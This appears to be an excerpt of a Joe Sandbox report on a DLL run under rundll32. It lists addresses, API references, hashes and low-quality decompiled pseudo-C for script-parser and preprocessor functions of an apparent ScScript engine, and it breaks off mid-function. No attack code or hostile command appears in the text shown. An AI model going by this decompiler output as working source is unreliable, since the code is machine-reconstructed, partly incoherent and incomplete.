0x1003caf4
0x1003caf8
0x1003cb03
0x1003cb0b
0x1003cb12
0x1003cb15
0x1003cb1e
0x1003cb26
0x1003cb26
0x1003cb3f
0x1003cb41
0x1003cb4a
0x1003cb4f
0x1003cb54
0x1003cb57
0x1003cb60
0x1003cb63
0x1003cb69
0x1003cccf
0x1003cccf
0x00000000
0x1003cb6f
0x1003cb77
0x1003ccd1
0x1003ccd1
0x1003ccd4
0x1003ccd7
0x1003ccde
0x1003ccea
0x1003ccf8
0x1003ccf8
0x1003cb69

APIs

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,10065390), ref: 1003CAD6
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003CA39

Part of subcall function 10037FD0: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,00000000,?,1003C040,0000008C,00000000,00000000), ref: 10037FDA

l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(?,00000000,00000000), ref: 1003CB77
l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003CBCE

Part of subcall function 10037F00: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003D351,-0000008C,?,1003D351,-0000008C), ref: 10037F0A

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003CC1A
l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(?,00000000,10065390,00000000), ref: 1003CCC8

Part of subcall function 10038080: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,?,?,1003E845,00000019,?,00000000,00000000,?,?,?,A412DE5E), ref: 1003808A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$EmptyInfo@1@$BinaryNode@1@1@$Node@1@11@Ternary
String ID:
API String ID: 2254264679-0
Opcode ID: 01a41be291ad101118744ef05678091795ece190a5cfecf2455fafab8e4e29df
Instruction ID: 32d810da20d4e518a919d25cdd4592cefc22a8562c8867705442d049fdd2e8b2
Opcode Fuzzy Hash: 01a41be291ad101118744ef05678091795ece190a5cfecf2455fafab8e4e29df
Instruction Fuzzy Hash: B691E2B0A00248AFEB12CBA9C846F5EB7E5EF45706F104429E506EF2C1DBB56E44CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1003B3B0 Relevance: 9.2, APIs: 6, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1003B3B0(intOrPtr __ecx, signed int __edx) {
				char _v8;
				char _v16;
				char _v17;
				signed int _v24;
				char _v28;
				void* _v32;
				intOrPtr _v36;
				signed int _t62;
				signed int _t65;
				intOrPtr _t71;
				signed int _t74;
				intOrPtr _t75;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t100;
				char _t101;
				intOrPtr* _t102;
				intOrPtr _t104;
				signed int _t137;
				void* _t140;
				intOrPtr* _t141;
				intOrPtr _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				intOrPtr _t147;
				signed int _t149;
				void* _t150;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t155;
				void* _t178;

				_t137 = __edx;
				_t62 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t147 = __ecx;
				_t141 =  *0x1006a1d0; // 0x87144
				_t65 =  *_t141(0x28, _t62 ^ _t149, _t140, _t146, _t100,  *[fs:0x0], 0x10065086, 0xffffffff);
				_t152 = _t150 - 0x14 + 4;
				_v32 = _t65;
				_v8 = 0;
				if(_t65 == 0) {
					_v28 = 0;
					_t101 = 0;
				} else {
					_t4 = _t147 + 0x8c; // 0x8c
					_t101 = E10037FD0(_t65, _t4, 0, 0);
					_v28 = _t101;
				}
				_v8 = 0xffffffff;
				E1003A9F0(_t147, 0);
				E1003AC80(_t147, 0x40000028, 0);
				 *((intOrPtr*)(_t101 + 0x20)) = E1003E550(_t147, _t137, _t178, 0, 0);
				E1003AC80(_t147, 0x40000029, 0);
				E1003AC80(_t147, 0x4000007b, 0);
				 *((intOrPtr*)( *((intOrPtr*)(_t147 + 0x88)))) = 0x35;
				_t71 =  *_t141(0x28);
				_t153 = _t152 + 4;
				_v32 = _t71;
				_v8 = 1;
				if(_t71 == 0) {
					_v32 = 0;
				} else {
					_t12 = _t147 + 0x8c; // 0x8c
					_v32 = E10038140(_t12);
				}
				_t139 = _v32;
				 *((intOrPtr*)(_t101 + 0x24)) = _v32;
				_t18 = _t147 + 0x8c; // 0x8c
				_t102 = _t18;
				_v8 = 0xffffffff;
				_v17 = 0;
				if( *((intOrPtr*)(_t147 + 0x8c)) == 0x4000007d) {
					L45:
					E1003A9F0(_t147, 0);
					goto L46;
				} else {
					while( *((char*)(_t147 + 0x104)) != 0) {
						_t74 =  *_t141(0x28);
						_t154 = _t153 + 4;
						_v24 = _t74;
						_v8 = 2;
						if(_t74 == 0) {
							_v24 = 0;
							_t143 = _v24;
						} else {
							_t143 = E10037FD0(_t74, _t102, 0, 0);
							_v24 = _t143;
						}
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t143 + 8)) = 0x35;
						_t75 =  *0x1006a1d0(0x28);
						_t155 = _t154 + 4;
						_v36 = _t75;
						_v8 = 3;
						if(_t75 == 0) {
							_t104 = 0;
						} else {
							_t104 = E10038140(_t102);
						}
						 *((intOrPtr*)(_t143 + 0x20)) = _t104;
						_v8 = 0xffffffff;
						 *0x1006a22c(_t143);
						if( *((char*)(_t147 + 0x104)) == 0) {
							L29:
							_t78 =  *0x1006a1d0(0x28);
							_t153 = _t155 + 4;
							_v36 = _t78;
							_v8 = 5;
							if(_t78 == 0) {
								_v24 = 0;
							} else {
								_t49 = _t147 + 0x8c; // 0x8c
								_v24 = E10038140(_t49);
							}
							_t53 = _t147 + 0x8c; // 0x8c
							_t102 = _t53;
							 *((intOrPtr*)(_t143 + 0x24)) = _v24;
							_t79 =  *_t102;
							_v8 = 0xffffffff;
							if(_t79 == 0x35) {
								L43:
								if( *_t102 != 0x4000007d) {
									_t141 =  *0x1006a1d0; // 0x87144
									continue;
								}
								break;
							} else {
								while(_t79 != 0x3c) {
									if(_t79 == 0x4000007d) {
										goto L44;
									}
									if( *((char*)(_t147 + 0x104)) == 0) {
										goto L43;
									}
									if(_t79 != 0x4000003b) {
										L38:
										_t80 =  *_t102;
										if(_t80 == 0x35) {
											goto L43;
										}
										if(_t80 != 0x3c && _t80 != 0x4000007d) {
											_t81 = E1003CD00(_t147, _t139, _t178, 0);
											_t139 = _v24;
											 *0x1006a22c(_t81);
										}
										_t79 =  *_t102;
										if(_t79 != 0x35) {
											continue;
										} else {
											goto L43;
										}
									} else {
										goto L37;
									}
									do {
										L37:
										E1003A9F0(_t147, 0);
									} while ( *_t102 == 0x4000003b);
									goto L38;
								}
								goto L43;
							}
						} else {
							do {
								_t85 =  *((intOrPtr*)(_t147 + 0x8c));
								_t37 = _t147 + 0x8c; // 0x8c
								_t144 = _t37;
								if(_t85 != 0x35) {
									if(_t85 != 0x3c) {
										break;
									}
									_t86 =  *0x1006a1d0(0x20);
									_t155 = _t155 + 4;
									_v36 = _t86;
									_v8 = 4;
									if(_t86 == 0) {
										_t145 = 0;
									} else {
										_t145 = E10037280(_t144);
									}
									_v8 = 0xffffffff;
									E1003A9F0(_t147, 0);
									 *0x1006a22c(_t145);
									E1003AC80(_t147, 0x4000003a, 0);
									if(_v17 == 0) {
										_v17 = 1;
									} else {
										E1003AAC0(_t147, _t139, 0x27, 0);
									}
									goto L27;
								}
								E1003A9F0(_t147, 0);
								 *0x1006a22c(E1003E550(_t147, _t139, _t178, 0, 0));
								E1003AC80(_t147, 0x4000003a, 0);
								L27:
							} while ( *((char*)(_t147 + 0x104)) != 0);
							_t143 = _v24;
							goto L29;
						}
					}
					L44:
					if( *_t102 != 0x4000007d) {
						L46:
						 *[fs:0x0] = _v16;
						return _v28;
					}
					goto L45;
				}
			}

0x1003b3b0
0x1003b3c7
0x1003b3d2
0x1003b3d8
0x1003b3da
0x1003b3e2
0x1003b3e4
0x1003b3e7
0x1003b3ec
0x1003b3f1
0x1003b40a
0x1003b40d
0x1003b3f3
0x1003b3f5
0x1003b403
0x1003b405
0x1003b405
0x1003b413
0x1003b41a
0x1003b428
0x1003b441
0x1003b444
0x1003b452
0x1003b45f
0x1003b465
0x1003b467
0x1003b46a
0x1003b46d
0x1003b476
0x1003b48b
0x1003b478
0x1003b478
0x1003b486
0x1003b486
0x1003b492
0x1003b495
0x1003b4a2
0x1003b4a2
0x1003b4a8
0x1003b4af
0x1003b4b3
0x1003b6d8
0x1003b6dc
0x00000000
0x1003b4b9
0x1003b4c6
0x1003b4d5
0x1003b4d7
0x1003b4da
0x1003b4dd
0x1003b4e6
0x1003b4fb
0x1003b502
0x1003b4e8
0x1003b4f4
0x1003b4f6
0x1003b4f6
0x1003b507
0x1003b50e
0x1003b515
0x1003b51b
0x1003b51e
0x1003b521
0x1003b52a
0x1003b538
0x1003b52c
0x1003b534
0x1003b534
0x1003b53d
0x1003b544
0x1003b54b
0x1003b558
0x1003b61a
0x1003b61c
0x1003b622
0x1003b625
0x1003b628
0x1003b631
0x1003b646
0x1003b633
0x1003b633
0x1003b641
0x1003b641
0x1003b650
0x1003b650
0x1003b656
0x1003b659
0x1003b65b
0x1003b665
0x1003b6c4
0x1003b6ca
0x1003b4c0
0x00000000
0x1003b4c0
0x00000000
0x1003b667
0x1003b667
0x1003b671
0x00000000
0x00000000
0x1003b67a
0x00000000
0x00000000
0x1003b681
0x1003b694
0x1003b694
0x1003b699
0x00000000
0x00000000
0x1003b69e
0x1003b6ab
0x1003b6b0
0x1003b6b7
0x1003b6b7
0x1003b6bd
0x1003b6c2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1003b683
0x1003b683
0x1003b687
0x1003b68c
0x00000000
0x1003b683
0x00000000
0x1003b667
0x1003b560
0x1003b560
0x1003b560
0x1003b566
0x1003b566
0x1003b56f
0x1003b5a2
0x00000000
0x00000000
0x1003b5a6
0x1003b5ac
0x1003b5af
0x1003b5b2
0x1003b5bb
0x1003b5c9
0x1003b5bd
0x1003b5c5
0x1003b5c5
0x1003b5cf
0x1003b5d6
0x1003b5df
0x1003b5ee
0x1003b5f7
0x1003b606
0x1003b5f9
0x1003b5ff
0x1003b5ff
0x00000000
0x1003b5f7
0x1003b575
0x1003b589
0x1003b598
0x1003b60a
0x1003b60a
0x1003b617
0x00000000
0x1003b617
0x1003b558
0x1003b6d0
0x1003b6d6
0x1003b6e1
0x1003b6e7
0x1003b6f5
0x1003b6f5
0x00000000
0x1003b6d6

APIs

l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,1003CEFB,00000000,0000008C), ref: 1003B3FE

Part of subcall function 10037FD0: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,00000000,?,1003C040,0000008C,00000000,00000000), ref: 10037FDA

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,1003CEFB,00000000), ref: 1003B481
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000), ref: 1003B4EF
l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003B52F

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$BinaryInfo@1@ListNode@1@1@
String ID:
API String ID: 3800440537-0
Opcode ID: 16a49034ab9f48312f3ebcd27ca1faa3b06a19a145786556fbf0524319ff5ef2
Instruction ID: 38aeea7aebdf8c4ca33c3395c2b6e34fd0101db74cd09bf28a6dbf31c65d4365
Opcode Fuzzy Hash: 16a49034ab9f48312f3ebcd27ca1faa3b06a19a145786556fbf0524319ff5ef2
Instruction Fuzzy Hash: 0D91F0B0E00B059FEB12CB64C855B9EB7F5EF45349F104119E216EF2C1DB78AA40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1003BA30 Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1003BA30(intOrPtr __ecx, signed int __edx) {
				char _v8;
				char _v16;
				char _v17;
				char _v24;
				char _v28;
				intOrPtr _v32;
				signed int _t50;
				char _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t83;
				intOrPtr* _t84;
				intOrPtr* _t85;
				intOrPtr _t119;
				void* _t120;
				char _t121;
				intOrPtr _t124;
				void* _t125;
				intOrPtr _t126;
				signed int _t129;
				void* _t130;
				void* _t132;
				void* _t133;
				void* _t135;
				void* _t147;

				_t118 = __edx;
				_t50 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t126 = __ecx;
				_t84 =  *0x1006a1d0; // 0x87144
				_t53 =  *_t84(0x2c, _t50 ^ _t129, _t120, _t125, _t83,  *[fs:0x0], 0x1006514f, 0xffffffff);
				_t132 = _t130 - 0x10 + 4;
				_v28 = _t53;
				_v8 = 0;
				_t136 = _t53;
				if(_t53 == 0) {
					_v24 = 0;
					_t121 = 0;
				} else {
					_t4 = _t126 + 0x8c; // 0x8c
					_t121 = E10038080(_t53, _t4, 0, 0, 0);
					_v24 = _t121;
				}
				_v8 = 0xffffffff;
				E1003A9F0(_t126, 0);
				_t55 = E1003D3A0(_t126, _t118, _t136, _t147, 0);
				 *((intOrPtr*)(_t121 + 0x20)) = _t55;
				_t56 =  *_t84(0x28);
				_t133 = _t132 + 4;
				_v28 = _t56;
				_v8 = 1;
				if(_t56 == 0) {
					_v28 = 0;
					_t57 = _v28;
				} else {
					_t11 = _t126 + 0x8c; // 0x8c
					_t118 = _t11;
					_t57 = E10038140(_t11);
					_v28 = _t57;
				}
				 *((intOrPtr*)(_t57 + 8)) = 0x36;
				_t16 = _t126 + 0x8c; // 0x8c
				_t85 = _t16;
				 *((intOrPtr*)(_t121 + 0x24)) = _t57;
				_v8 = 0xffffffff;
				_v17 = 0;
				if( *_t85 != 0x36) {
					L25:
					_t146 =  *_t85 - 0x46;
					if( *_t85 != 0x46) {
						_t58 =  *0x1006a1d0(0x20);
						_v32 = _t58;
						_v8 = 5;
						__eflags = _t58;
						if(_t58 == 0) {
							_t59 = 0;
							__eflags = 0;
						} else {
							_t59 = E10037F00(_t58, _t85);
						}
						_t119 = _v28;
						 *((intOrPtr*)(_t121 + 0x28)) = _t59;
						_v8 = 0xffffffff;
						_t60 =  *0x1006a16c();
						__eflags = _t60;
						if(_t60 == 0) {
							E1003AAC0(_t126, _t119, 0xf, _t60);
						}
						 *[fs:0x0] = _v16;
						return _t121;
					} else {
						E1003A9F0(_t126, 0);
						_t64 = E1003D3A0(_t126, _t118, _t146, _t147, 0);
						 *((intOrPtr*)(_t121 + 0x28)) = _t64;
						 *((intOrPtr*)(_t64 + 8)) = 0x46;
						 *[fs:0x0] = _v16;
						return _t121;
					}
				} else {
					while( *((char*)(_t126 + 0x104)) != 0) {
						_t66 =  *0x1006a1d0(0x2c);
						_t135 = _t133 + 4;
						_v32 = _t66;
						_v8 = 2;
						if(_t66 == 0) {
							_t124 = 0;
							__eflags = 0;
						} else {
							_t124 = E10038080(_t66, _t85, 0, 0, 0);
						}
						_v8 = 0xffffffff;
						if(_v17 != 0) {
							E1003AAC0(_t126, _t118, 0x2a, 0);
						}
						E1003A9F0(_t126, 0);
						E1003AC80(_t126, 0x40000028, 0);
						if( *((intOrPtr*)(_t126 + 0xa8)) != 2) {
							E1003AAC0(_t126, _t118, 0x11,  *_t85);
						}
						_t69 =  *0x1006a1d0(0x20);
						_t133 = _t135 + 4;
						_v32 = _t69;
						_v8 = 3;
						if(_t69 == 0) {
							_t70 = 0;
							__eflags = 0;
						} else {
							_t70 = E10037280(_t85);
						}
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t124 + 0x20)) = _t70;
						E1003A9F0(_t126, 0);
						_t144 =  *_t85 - 0x4b;
						if( *_t85 != 0x4b) {
							_v17 = 1;
							_t72 =  *0x1006a1d0(0x20);
							_t133 = _t133 + 4;
							_v32 = _t72;
							_v8 = 4;
							__eflags = _t72;
							if(_t72 == 0) {
								_t73 = 0;
								__eflags = 0;
							} else {
								_t73 = E10037F00(_t72, _t85);
							}
							_v8 = 0xffffffff;
						} else {
							E1003A9F0(_t126, 0);
							_t73 = E1003E550(_t126, _t118, _t147, 0, 0);
						}
						 *((intOrPtr*)(_t124 + 0x24)) = _t73;
						E1003AC80(_t126, 0x40000029, 0);
						 *((intOrPtr*)(_t124 + 0x28)) = E1003D3A0(_t126, _t118, _t144, _t147, 0);
						 *0x1006a22c(_t124);
						_t121 = _v24;
						if( *_t85 == 0x36) {
							continue;
						} else {
							goto L25;
						}
					}
					goto L25;
				}
			}

0x1003ba30
0x1003ba47
0x1003ba52
0x1003ba58
0x1003ba5a
0x1003ba62
0x1003ba64
0x1003ba67
0x1003ba6c
0x1003ba6f
0x1003ba71
0x1003ba8b
0x1003ba8e
0x1003ba73
0x1003ba76
0x1003ba84
0x1003ba86
0x1003ba86
0x1003ba94
0x1003ba9b
0x1003baa4
0x1003baab
0x1003baae
0x1003bab0
0x1003bab3
0x1003bab6
0x1003babf
0x1003bad4
0x1003badb
0x1003bac1
0x1003bac1
0x1003bac1
0x1003baca
0x1003bacf
0x1003bacf
0x1003bade
0x1003bae5
0x1003bae5
0x1003baeb
0x1003baf1
0x1003baf8
0x1003bafc
0x1003bc39
0x1003bc39
0x1003bc3c
0x1003bc70
0x1003bc79
0x1003bc7c
0x1003bc83
0x1003bc85
0x1003bc91
0x1003bc91
0x1003bc87
0x1003bc8a
0x1003bc8a
0x1003bc93
0x1003bc96
0x1003bc9c
0x1003bca3
0x1003bca9
0x1003bcab
0x1003bcb2
0x1003bcb2
0x1003bcbc
0x1003bcca
0x1003bc3e
0x1003bc42
0x1003bc4b
0x1003bc50
0x1003bc53
0x1003bc5f
0x1003bc6d
0x1003bc6d
0x1003bb02
0x1003bb02
0x1003bb11
0x1003bb17
0x1003bb1a
0x1003bb1d
0x1003bb26
0x1003bb3a
0x1003bb3a
0x1003bb28
0x1003bb36
0x1003bb36
0x1003bb40
0x1003bb47
0x1003bb4f
0x1003bb4f
0x1003bb58
0x1003bb66
0x1003bb72
0x1003bb7b
0x1003bb7b
0x1003bb82
0x1003bb88
0x1003bb8b
0x1003bb8e
0x1003bb97
0x1003bba3
0x1003bba3
0x1003bb99
0x1003bb9c
0x1003bb9c
0x1003bba9
0x1003bbb0
0x1003bbb3
0x1003bbb8
0x1003bbbb
0x1003bbd5
0x1003bbd9
0x1003bbdf
0x1003bbe2
0x1003bbe5
0x1003bbec
0x1003bbee
0x1003bbfa
0x1003bbfa
0x1003bbf0
0x1003bbf3
0x1003bbf3
0x1003bbfc
0x1003bbbd
0x1003bbc1
0x1003bbcc
0x1003bbcc
0x1003bc0c
0x1003bc0f
0x1003bc20
0x1003bc27
0x1003bc30
0x1003bc33
0x00000000
0x00000000
0x00000000
0x00000000
0x1003bc33
0x00000000
0x1003bb02

APIs

l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(0000008C,00000000,00000000,00000000,?,?,1003CF67,00000000,0000008C), ref: 1003BA7F

Part of subcall function 10038080: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,?,?,1003E845,00000019,?,00000000,00000000,?,?,?,A412DE5E), ref: 1003808A

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,1003CF67,00000000), ref: 1003BACA
l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(0000008C,00000000,00000000,00000000,?,?,?,?,1003CF67,00000000), ref: 1003BB31
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,1003CF67,00000000), ref: 1003BB9C
l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,1003CF67,00000000), ref: 1003BBF3

Part of subcall function 10037F00: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003D351,-0000008C,?,1003D351,-0000008C), ref: 10037F0A

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,1003CF67,00000000), ref: 1003BC8A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$EmptyInfo@1@Node@1@11@Ternary$List
String ID:
API String ID: 59861229-0
Opcode ID: 70d9d012171259436f0c6949d539b293b8d2c9aab6c80a611f4bbb892922d3c3
Instruction ID: e3b61aca1277bba2dc32d257575a28814b414bccc5362875249a9a375b411abb
Opcode Fuzzy Hash: 70d9d012171259436f0c6949d539b293b8d2c9aab6c80a611f4bbb892922d3c3
Instruction Fuzzy Hash: B671F4B0F00B05AFEB12DB64C856B6EB7E5EB45715F104129E606EF2C0EBB46A40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 10010570 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 410COMMON

Download Yara Rule

APIs

ldoProcess@Preprocessor@ScScript@@AAE_NAAUProcData@12@@Z.MAIN(?,?,?,?), ref: 1001099D

Strings

include, xrefs: 10010735
// +++++ #include %ls +++++, xrefs: 1001095C
// ----- #include %ls -----, xrefs: 10010A06
includepath, xrefs: 10010874

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Data@12@@Preprocessor@ProcProcess@Script@@
String ID: // +++++ #include %ls +++++$// ----- #include %ls -----$include$includepath
API String ID: 3064585419-4108454239
Opcode ID: f55d3f6c699335dd353e1c1d69f173412d6d2b00f08270da3a6fd1120521f12f
Instruction ID: 676d652a1f2ca482ff9e0981c3d462557070bc1d210c9e3a7659e3437b6610fd
Opcode Fuzzy Hash: f55d3f6c699335dd353e1c1d69f173412d6d2b00f08270da3a6fd1120521f12f
Instruction Fuzzy Hash: 1202827190015ADFDB04EFA4CC98AEEBBB5FF15304F004059E946A7191DBB46A88CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10006540 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

lgetSourceFileID@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 100065CC
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,00000000), ref: 100065DC
lgetSourceLine@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 10006649

Strings

Attempt to set $.level to %ld without permission!Script: %lsLine: %ld, xrefs: 10006660

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$DebugSource$Core@@DataFileLine@Pool@String@Symbol@
String ID: Attempt to set $.level to %ld without permission!Script: %lsLine: %ld
API String ID: 2780735567-851982077
Opcode ID: b7fbaafe0e1e5ac1e7c0305295242dcc752751beb7c639cd6ae9331c6b8d7c3d
Instruction ID: acef6cc39a8c1bc087a040f789e00d863f3ff83770c62bc3b0f762c39d53f49a
Opcode Fuzzy Hash: b7fbaafe0e1e5ac1e7c0305295242dcc752751beb7c639cd6ae9331c6b8d7c3d
Instruction Fuzzy Hash: 9BC11572A04215CFE714DF99D894BAAF7B6FF48310F10426EE91693790DB36AA44CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1000AB70 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E1000AB70(intOrPtr* __ecx, char _a4, char _a8, intOrPtr _a12) {
				signed int _v8;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				intOrPtr* _v28;
				char _v36;
				signed int _t100;
				void* _t108;
				void* _t111;
				signed int _t115;
				intOrPtr _t123;
				void* _t129;
				void* _t140;
				void* _t167;
				void* _t169;
				void* _t170;
				signed int _t171;
				intOrPtr _t181;
				intOrPtr* _t185;
				intOrPtr _t197;
				intOrPtr _t207;
				intOrPtr _t212;
				intOrPtr _t242;
				intOrPtr _t246;
				intOrPtr _t247;
				void* _t250;
				intOrPtr* _t251;
				intOrPtr* _t253;
				void* _t256;
				signed int _t261;
				void* _t262;
				void* _t263;

				_t263 = _t262 - 0x14;
				_t100 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t257 = __ecx;
				 *0x1006a2c8(_t100 ^ _t261, _t250, _t256, _t170,  *[fs:0x0], 0x1005e5c6, 0xffffffff);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x10))))() != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
					_v28 = __ecx;
					_t171 = 0;
					_v8 = 0;
					 *0x1006a41c();
					_t251 =  *((intOrPtr*)(_a4 + 0x14));
					_v8 = 1;
					if( *((intOrPtr*)(__ecx + 0x98)) != 0x1ff10000) {
						if(_t251 == 0) {
							_t181 =  *0x1009415c; // 0x0
							_t108 = E100049E0(_t181,  &_a4,  &_a4,  *((intOrPtr*)(__ecx + 0x72)));
							_v8 = 8;
							 *0x1006a42c(0x37, _t108, 0, 1);
							_v8 = 1;
							 *0x1006a184();
						} else {
							goto L7;
						}
						goto L28;
					} else {
						_t251 =  *((intOrPtr*)(__ecx + 0x14));
						if(_t251 != 0) {
							L7:
							 *0x1006a160();
							_v24 = _t251;
							 *0x1006a460();
							 *0x1006a3d4();
							_t123 =  *((intOrPtr*)(_t257 + 0x98));
							_v8 = 2;
							if(_t123 != 0x1ff1ffff) {
								if(_t123 != 0x1ff1fffe) {
									 *0x1006a32c();
									_v8 = 4;
									E1000D560(_a8,  &_v36);
									_t241 =  *_t251;
